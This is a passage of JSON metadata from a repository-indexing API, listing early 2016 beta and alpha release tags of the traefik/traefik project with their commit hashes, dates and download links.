api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v1.0.0-beta.440/manifests"},{"name":"v1.0.0-beta.436","sha":"94ad21020cc549fac6ee9a1b12ab42b1d591e574","kind":"commit","published_at":"2016-04-13T11:25:52.000Z","download_url":"https://codeload.github.com/traefik/traefik/tar.gz/v1.0.0-beta.436","html_url":"https://github.com/traefik/traefik/releases/tag/v1.0.0-beta.436","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/traefik/traefik@v1.0.0-beta.436","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v1.0.0-beta.436","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v1.0.0-beta.436/manifests"},{"name":"v1.0.0-beta.433","sha":"fad7ec6b7fc052f97318d608243b0a6a5f4ef802","kind":"commit","published_at":"2016-04-13T10:56:17.000Z","download_url":"https://codeload.github.com/traefik/traefik/tar.gz/v1.0.0-beta.433","html_url":"https://github.com/traefik/traefik/releases/tag/v1.0.0-beta.433","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/traefik/traefik@v1.0.0-beta.433","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v1.0.0-beta.433","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v1.0.0-beta.433/manifests"},{"name":"v1.0.0-beta.427","sha":"2bcc5a2ac70c646a4dc6fc600d0cdec6dcecdb2a","kind":"commit","published_at":"2016-04-13T07:38:09.000Z","download_url":"https://codeload.github.com/traefik/traefik/tar.gz/v1.0.0-beta.427","html_url":"https://github.com/traefik/traefik/releases/tag/v1.0.0-beta.427","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/traefik/traefik@v1.0.0-beta.427","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v1.0.0-beta.427","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v1.0.0-beta.427/manifests"},{"name":"v1.0.0-beta.421","sha":"9a407f79fffe71f47112d9adb7a8c0174befa1d6","kind":"commit","published_at":"2016-04-12T08:35:48.000Z","download_url":"https://codeload.github.com/traefik/traefik/tar.gz/v1.0.0-beta.421","html_url":"https://github.com/traefik/traefik/releases/tag/v1.0.0-beta.421","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/traefik/traefik@v1.0.0-beta.421","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v1.0.0-beta.421","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v1.0.0-beta.421/manifests"},{"name":"v1.0.0-beta.416","sha":"d050e60da2ef905def2dde2803d7ba28e6ebe59e","kind":"commit","published_at":"2016-04-08T13:21:26.000Z","download_url":"https://codeload.github.com/traefik/traefik/tar.gz/v1.0.0-beta.416","html_url":"https://github.com/traefik/traefik/releases/tag/v1.0.0-beta.416","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/traefik/traefik@v1.0.0-beta.416","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v1.0.0-beta.416","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v1.0.0-beta.416/manifests"},{"name":"v1.0.0-beta.408","sha":"f6564909aacba1cc6efd2f858e4156eae26e94c1","kind":"commit","published_at":"2016-04-07T15:22:53.000Z","download_url":"https://codeload.github.com/traefik/traefik/tar.gz/v1.0.0-beta.408","html_url":"https://github.com/traefik/traefik/releases/tag/v1.0.0-beta.408","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/traefik/traefik@v1.0.0-beta.408","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v1.0.0-beta.408","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v1.0.0-beta.408/manifests"},{"name":"v1.0.0-beta.404","sha":"f99f6348169d6fc12fada99903a4cac5d148c283","kind":"commit","published_at":"2016-04-07T14:36:13.000Z","download_url":"https://codeload.github.com/traefik/traefik/tar.gz/v1.0.0-beta.404","html_url":"https://github.com/traefik/traefik/releases/tag/v1.0.0-beta.404","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/traefik/traefik@v1.0.0-beta.404","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v1.0.0-beta.404","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v1.0.0-beta.404/manifests"},{"name":"v1.0.0-beta.395","sha":"04628056afdf41ec30bd0649e28180fff5adc6f2","kind":"commit","published_at":"2016-04-06T17:17:50.000Z","download_url":"https://codeload.github.com/traefik/traefik/tar.gz/v1.0.0-beta.395","html_url":"https://github.com/traefik/traefik/releases/tag/v1.0.0-beta.395","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/traefik/traefik@v1.0.0-beta.395","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v1.0.0-beta.395","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v1.0.0-beta.395/manifests"},{"name":"v1.0.0-beta.392","sha":"92c269c97279006441673b58182de5c2c717561c","kind":"commit","published_at":"2016-04-06T15:45:34.000Z","download_url":"https://codeload.github.com/traefik/traefik/tar.gz/v1.0.0-beta.392","html_url":"https://github.com/traefik/traefik/releases/tag/v1.0.0-beta.392","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/traefik/traefik@v1.0.0-beta.392","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v1.0.0-beta.392","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v1.0.0-beta.392/manifests"},{"name":"v1.0.0-beta.374","sha":"ef72d355d6fcf2fbfb2b3aa078124e7a3f56a1f8","kind":"commit","published_at":"2016-04-05T22:46:30.000Z","download_url":"https://codeload.github.com/traefik/traefik/tar.gz/v1.0.0-beta.374","html_url":"https://github.com/traefik/traefik/releases/tag/v1.0.0-beta.374","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/traefik/traefik@v1.0.0-beta.374","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v1.0.0-beta.374","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v1.0.0-beta.374/manifests"},{"name":"v1.0.0-beta.366","sha":"ab0d648a03349cb128360c88a59ee9c5a1543f3d","kind":"commit","published_at":"2016-04-05T15:26:26.000Z","download_url":"https://codeload.github.com/traefik/traefik/tar.gz/v1.0.0-beta.366","html_url":"https://github.com/traefik/traefik/releases/tag/v1.0.0-beta.366","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/traefik/traefik@v1.0.0-beta.366","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v1.0.0-beta.366","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v1.0.0-beta.366/manifests"},{"name":"v1.0.0-beta.355","sha":"79dc4f9a700b8d503be4c76f3d25d57d9aef5f9e","kind":"commit","published_at":"2016-04-04T08:34:43.000Z","download_url":"https://codeload.github.com/traefik/traefik/tar.gz/v1.0.0-beta.355","html_url":"https://github.com/traefik/traefik/releases/tag/v1.0.0-beta.355","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/traefik/traefik@v1.0.0-beta.355","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v1.0.0-beta.355","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v1.0.0-beta.355/manifests"},{"name":"v1.0.0-beta.352","sha":"6e7bb93fd6895d2e208a8bfe28bc3e0c8bc3d68a","kind":"commit","published_at":"2016-04-02T11:26:16.000Z","download_url":"https://codeload.github.com/traefik/traefik/tar.gz/v1.0.0-beta.352","html_url":"https://github.com/traefik/traefik/releases/tag/v1.0.0-beta.352","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/traefik/traefik@v1.0.0-beta.352","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v1.0.0-beta.352","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v1.0.0-beta.352/manifests"},{"name":"v1.0.0-beta.341","sha":"585aeb8f0b52f7c0af344297929ebe3aef048cef","kind":"commit","published_at":"2016-04-01T12:41:18.000Z","download_url":"https://codeload.github.com/traefik/traefik/tar.gz/v1.0.0-beta.341","html_url":"https://github.com/traefik/traefik/releases/tag/v1.0.0-beta.341","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/traefik/traefik@v1.0.0-beta.341","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v1.0.0-beta.341","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v1.0.0-beta.341/manifests"},{"name":"v1.0.0-beta.339","sha":"e9bf916a74d0ae4499444f8f8d66fe3a7504896b","kind":"commit","published_at":"2016-04-01T12:12:18.000Z","download_url":"https://codeload.github.com/traefik/traefik/tar.gz/v1.0.0-beta.339","html_url":"https://github.com/traefik/traefik/releases/tag/v1.0.0-beta.339","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/traefik/traefik@v1.0.0-beta.339","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v1.0.0-beta.339","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v1.0.0-beta.339/manifests"},{"name":"v1.0.0-beta.324","sha":"733cbb5304167df45fb5e8710a39fa648cd4b2d1","kind":"commit","published_at":"2016-03-31T14:29:51.000Z","download_url":"https://codeload.github.com/traefik/traefik/tar.gz/v1.0.0-beta.324","html_url":"https://github.com/traefik/traefik/releases/tag/v1.0.0-beta.324","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/traefik/traefik@v1.0.0-beta.324","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v1.0.0-beta.324","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v1.0.0-beta.324/manifests"},{"name":"v1.0.0-beta.300","sha":"dd160dc3422ec26d11b6fffdcf13726d3018ed23","kind":"commit","published_at":"2016-03-30T17:04:39.000Z","download_url":"https://codeload.github.com/traefik/traefik/tar.gz/v1.0.0-beta.300","html_url":"https://github.com/traefik/traefik/releases/tag/v1.0.0-beta.300","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/traefik/traefik@v1.0.0-beta.300","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v1.0.0-beta.300","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v1.0.0-beta.300/manifests"},{"name":"v1.0.0-beta.291","sha":"1d040dbdd219693e736827c6f25bc7cacaa76330","kind":"commit","published_at":"2016-03-29T09:12:18.000Z","download_url":"https://codeload.github.com/traefik/traefik/tar.gz/v1.0.0-beta.291","html_url":"https://github.com/traefik/traefik/releases/tag/v1.0.0-beta.291","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/traefik/traefik@v1.0.0-beta.291","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v1.0.0-beta.291","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v1.0.0-beta.291/manifests"},{"name":"v1.0.0-beta.289","sha":"6308ce2740b7c92e3c50b70eb82dd94ea89425a4","kind":"commit","published_at":"2016-03-28T17:16:37.000Z","download_url":"https://codeload.github.com/traefik/traefik/tar.gz/v1.0.0-beta.289","html_url":"https://github.com/traefik/traefik/releases/tag/v1.0.0-beta.289","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/traefik/traefik@v1.0.0-beta.289","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v1.0.0-beta.289","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v1.0.0-beta.289/manifests"},{"name":"v1.0.0-beta.287","sha":"bb1ecdd3c90efd57edce1f47c4ae986fe30dc8ae","kind":"commit","published_at":"2016-03-25T10:14:19.000Z","download_url":"https://codeload.github.com/traefik/traefik/tar.gz/v1.0.0-beta.287","html_url":"https://github.com/traefik/traefik/releases/tag/v1.0.0-beta.287","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/traefik/traefik@v1.0.0-beta.287","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v1.0.0-beta.287","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v1.0.0-beta.287/manifests"},{"name":"v1.0.0-beta.280","sha":"cddbb44c7534ac0daec79c0ab0929c0b6df15be4","kind":"commit","published_at":"2016-03-23T23:50:09.000Z","download_url":"https://codeload.github.com/traefik/traefik/tar.gz/v1.0.0-beta.280","html_url":"https://github.com/traefik/traefik/releases/tag/v1.0.0-beta.280","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/traefik/traefik@v1.0.0-beta.280","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v1.0.0-beta.280","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v1.0.0-beta.280/manifests"},{"name":"v1.0.0-beta.277","sha":"6bfc849a244765d8f574cabfcc2d3046e565086e","kind":"commit","published_at":"2016-03-23T15:52:21.000Z","download_url":"https://codeload.github.com/traefik/traefik/tar.gz/v1.0.0-beta.277","html_url":"https://github.com/traefik/traefik/releases/tag/v1.0.0-beta.277","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/traefik/traefik@v1.0.0-beta.277","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v1.0.0-beta.277","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v1.0.0-beta.277/manifests"},{"name":"v1.0.0-beta.254","sha":"087b68e14d22b9bd54a521a78026ee66d5c1a0d6","kind":"commit","published_at":"2016-03-21T13:01:57.000Z","download_url":"https://codeload.github.com/traefik/traefik/tar.gz/v1.0.0-beta.254","html_url":"https://github.com/traefik/traefik/releases/tag/v1.0.0-beta.254","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/traefik/traefik@v1.0.0-beta.254","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v1.0.0-beta.254","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v1.0.0-beta.254/manifests"},{"name":"v1.0.0-beta.247","sha":"7716d3377ad58902e8fecf851f49aa72f9238fba","kind":"commit","published_at":"2016-03-16T10:41:20.000Z","download_url":"https://codeload.github.com/traefik/traefik/tar.gz/v1.0.0-beta.247","html_url":"https://github.com/traefik/traefik/releases/tag/v1.0.0-beta.247","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/traefik/traefik@v1.0.0-beta.247","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v1.0.0-beta.247","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v1.0.0-beta.247/manifests"},{"name":"v1.0.0-beta.224","sha":"08d8c334a318bdc790be67b40ff3d2880b5d3a9f","kind":"commit","published_at":"2016-03-14T17:28:51.000Z","download_url":"https://codeload.github.com/traefik/traefik/tar.gz/v1.0.0-beta.224","html_url":"https://github.com/traefik/traefik/releases/tag/v1.0.0-beta.224","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/traefik/traefik@v1.0.0-beta.224","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v1.0.0-beta.224","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v1.0.0-beta.224/manifests"},{"name":"v1.0.0-beta.220","sha":"10e223ede2f0869b237420f96eff26e16b1794ad","kind":"commit","published_at":"2016-03-14T15:53:05.000Z","download_url":"https://codeload.github.com/traefik/traefik/tar.gz/v1.0.0-beta.220","html_url":"https://github.com/traefik/traefik/releases/tag/v1.0.0-beta.220","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/traefik/traefik@v1.0.0-beta.220","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v1.0.0-beta.220","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v1.0.0-beta.220/manifests"},{"name":"v1.0.0-beta.212","sha":"d4cc3900bd318458ffd631a663a91605e802651d","kind":"commit","published_at":"2016-03-09T22:55:26.000Z","download_url":"https://codeload.github.com/traefik/traefik/tar.gz/v1.0.0-beta.212","html_url":"https://github.com/traefik/traefik/releases/tag/v1.0.0-beta.212","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/traefik/traefik@v1.0.0-beta.212","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v1.0.0-beta.212","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v1.0.0-beta.212/manifests"},{"name":"v1.0.0-beta.211","sha":"d4cc3900bd318458ffd631a663a91605e802651d","kind":"commit","published_at":"2016-03-09T22:55:26.000Z","download_url":"https://codeload.github.com/traefik/traefik/tar.gz/v1.0.0-beta.211","html_url":"https://github.com/traefik/traefik/releases/tag/v1.0.0-beta.211","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/traefik/traefik@v1.0.0-beta.211","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v1.0.0-beta.211","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v1.0.0-beta.211/manifests"},{"name":"v1.0.alpha.4c447985b63f8c90dcbde70b2eaef19d9a8c5ad2","sha":"4c447985b63f8c90dcbde70b2eaef19d9a8c5ad2","kind":"commit","published_at":"2016-03-09T18:54:16.000Z","download_url":"https://codeload.github.com/traefik/traefik/tar.gz/v1.0.alpha.4c447985b63f8c90dcbde70b2eaef19d9a8c5ad2","html_url":"https://github.com/traefik/traefik/releases/tag/v1.0.alpha.4c447985b63f8c90dcbde70b2eaef19d9a8c5ad2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/traefik/traefik@v1.0.alpha.4c447985b63f8c90dcbde70b2eaef19d9a8c5ad2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v1.0.alpha.4c447985b63f8c90dcbde70b2eaef19d9a8c5ad2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v1.0.alpha.4c447985b63f8c90dcbde70b2eaef19d9a8c5ad2/manifests"},{"name":"v1.0.alpha.9830086790caf40ce30eb9ed5d317917f8157708","sha":"9830086790caf40ce30eb9ed5d317917f8157708","kind":"commit","published_at":"2016-03-08T16:24:26.000Z","download_url":"https://codeload.github.com/traefik/traefik/tar.gz/v1.0.alpha.9830086790caf40ce30eb9ed5d317917f8157708","html_url":"https://github.com/traefik/traefik/releases/tag/v1.0.alpha.9830086790caf40ce30eb9ed5d317917f8157708","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/traefik/traefik@v1.0.alpha.9830086790caf40ce30eb9ed5d317917f8157708","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v1.0.alpha.9830086790caf40ce30eb9ed5d317917f8157708","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v1.0.alpha.9830086790caf40ce30eb9ed5d317917f8157708/manifests"},{"name":"v1.0.alpha.3af21612b65fc578585a98c30090d1e613f791eb","sha":"3af21612b65fc578585a98c30090d1e613f791eb","kind":"commit","published_at":"2016-03-05T20:58:48.000Z","download_url":"https://codeload.github.com/traefik/traefik/tar.gz/v1.0.alpha.3af21612b65fc578585a98c30090d1e613f791eb","html_url":"https://github.com/traefik/traefik/releases/tag/v1.0.alpha.3af21612b65fc578585a98c30090d1e613f791eb","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/traefik/traefik@v1.0.alpha.3af21612b65fc578585a98c30090d1e613f791eb","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v1.0.alpha.3af21612b65fc578585a98c30090d1e613f791eb","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v1.0.alpha.3af21612b65fc578585a98c30090d1e613f791eb/manifests"},{"name":"v1.0.alpha.a458018aa2ccb637abacfc696157e00321cf982f","sha":"a458018aa2ccb637abacfc696157e00321cf982f","kind":"commit","published_at":"2016-03-05T17:39:00.000Z","download_url":"https://codeload.github.com/traefik/traefik/tar.gz/v1.0.alpha.a458018aa2ccb637abacfc696157e00321cf982f","html_url":"https://github.com/traefik/traefik/releases/tag/v1.0.alpha.a458018aa2ccb637abacfc696157e00321cf982f","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/traefik/traefik@v1.0.alpha.a458018aa2ccb637abacfc696157e00321cf982f","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v1.0.alpha.a458018aa2ccb637abacfc696157e00321cf982f","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v1.0.alpha.a458018aa2ccb637abacfc696157e00321cf982f/manifests"},{"name":"v1.0.alpha.4ded2682d2831ed703282b2f4585e17a62ee258e","sha":"4ded2682d2831ed703282b2f4585e17a62ee258e","kind":"commit","published_at":"2016-03-04T15:41:45.000Z","download_url":"https://codeload.github.com/traefik/traefik/tar.gz/v1.0.alpha.4ded2682d2831ed703282b2f4585e17a62ee258e","html_url":"https://github.com/traefik/traefik/releases/tag/v1.0.alpha.4ded2682d2831ed703282b2f4585e17a62ee258e","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/traefik/traefik@v1.0.alpha.4ded2682d2831ed703282b2f4585e17a62ee258e","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v1.0.alpha.4ded2682d2831ed703282b2f4585e17a62ee258e","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v1.0.alpha.4ded2682d2831ed703282b2f4585e17a62ee258e/manifests"},{"name":"v1.0.alpha.0e683cc5355bc507dabac68bbc7559d3f179e185","sha":"0e683cc5355bc507dabac68bbc7559d3f179e185","kind":"commit","published_at":"2016-03-04T08:01:49.000Z","download_url":"https://codeload.github.com/traefik/traefik/tar.gz/v1.0.alpha.0e683cc5355bc507dabac68bbc7559d3f179e185","html_url":"https://github.com/traefik/traefik/releases/tag/v1.0.alpha.0e683cc5355bc507dabac68bbc7559d3f179e185","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/traefik/traefik@v1.0.alpha.0e683cc5355bc507dabac68bbc7559d3f179e185","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v1.0.alpha.0e683cc5355bc507dabac68bbc7559d3f179e185","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v1.0.alpha.0e683cc5355bc507dabac68bbc7559d3f179e185/manifests"},{"name":"v1.0.alpha.11781087cadf9068d1d0b43902b6161ee10ea458","sha":"11781087cadf9068d1d0b43902b6161ee10ea458","kind":"commit","published_at":"2016-03-02T14:24:43.000Z","download_url":"https://codeload.github.com/traefik/traefik/tar.gz/v1.0.alpha.11781087cadf9068d1d0b43902b6161ee10ea458","html_url":"https://github.com/traefik/traefik/releases/tag/v1.0.alpha.11781087cadf9068d1d0b43902b6161ee10ea458","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/traefik/traefik@v1.0.alpha.11781087cadf9068d1d0b43902b6161ee10ea458","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v1.0.alpha.11781087cadf9068d1d0b43902b6161ee10ea458","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v1.0.alpha.11781087cadf9068d1d0b43902b6161ee10ea458/manifests"},{"name":"v1.0.alpha.b42b170ad29a0f042ddee0f5a5098aa9a59a9c8e","sha":"b42b170ad29a0f042ddee0f5a5098aa9a59a9c8e","kind":"commit","published_at":"2016-03-01T12:12:08.000Z","download_url":"https://codeload.github.com/traefik/traefik/tar.gz/v1.0.alpha.b42b170ad29a0f042ddee0f5a5098aa9a59a9c8e","html_url":"https://github.com/traefik/traefik/releases/tag/v1.0.alpha.b42b170ad29a0f042ddee0f5a5098aa9a59a9c8e","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/traefik/traefik@v1.0.alpha.b42b170ad29a0f042ddee0f5a5098aa9a59a9c8e","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v1.0.alpha.b42b170ad29a0f042ddee0f5a5098aa9a59a9c8e","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v1.0.alpha.b42b170ad29a0f042ddee0f5a5098aa9a59a9c8e/manifests"},{"name":"v1.0.alpha.a00eb81f0301f5e61024dea3b92ba632d6a61a8b","sha":"a00eb81f0301f5e61024dea3b92ba632d6a61a8b","kind":"commit","published_at":"2016-02-29T18:35:47.000Z","download_url":"https://codeload.github.com/traefik/traefik/tar.gz/v1.0.alpha.a00eb81f0301f5e61024dea3b92ba632d6a61a8b","html_url":"https://github.com/traefik/traefik/releases/tag/v1.0.alpha.a00eb81f0301f5e61024dea3b92ba632d6a61a8b","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/traefik/traefik@v1.0.alpha.a00eb81f0301f5e61024dea3b92ba632d6a61a8b","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v1.0.alpha.a00eb81f0301f5e61024dea3b92ba632d6a61a8b","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v1.0.alpha.a00eb81f0301f5e61024dea3b92ba632d6a61a8b/manifests"},{"name":"v1.0.alpha.6c3c5578c64125838abbc437a0242e1742d6f47a","sha":"6c3c5578c64125838abbc437a0242e1742d6f47a","kind":"commit","published_at":"2016-02-26T15:52:12.000Z","download_url":"https://codeload.github.com/traefik/traefik/tar.gz/v1.0.alpha.6c3c5578c64125838abbc437a0242e1742d6f47a","html_url":"https://github.com/traefik/traefik/releases/tag/v1.0.alpha.6c3c5578c64125838abbc437a0242e1742d6f47a","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/traefik/traefik@v1.0.alpha.6c3c5578c64125838abbc437a0242e1742d6f47a","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v1.0.alpha.6c3c5578c64125838abbc437a0242e1742d6f47a","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v1.0.alpha.6c3c5578c64125838abbc437a0242e1742d6f47a/manifests"},{"name":"v1.0.alpha.b84b95fe97df5c0f234d8693fbff03fa0d6a441b","sha":"b84b95fe97df5c0f234d8693fbff03fa0d6a441b","kind":"commit","published_at":"2016-02-26T10:41:18.000Z","download_url":"https://codeload.github.com/traefik/traefik/tar.gz/v1.0.alpha.b84b95fe97df5c0f234d8693fbff03fa0d6a441b","html_url":"https://github.com/traefik/traefik/releases/tag/v1.0.alpha.b84b95fe97df5c0f234d8693fbff03fa0d6a441b","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/traefik/traefik@v1.0.alpha.b84b95fe97df5c0f234d8693fbff03fa0d6a441b","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftr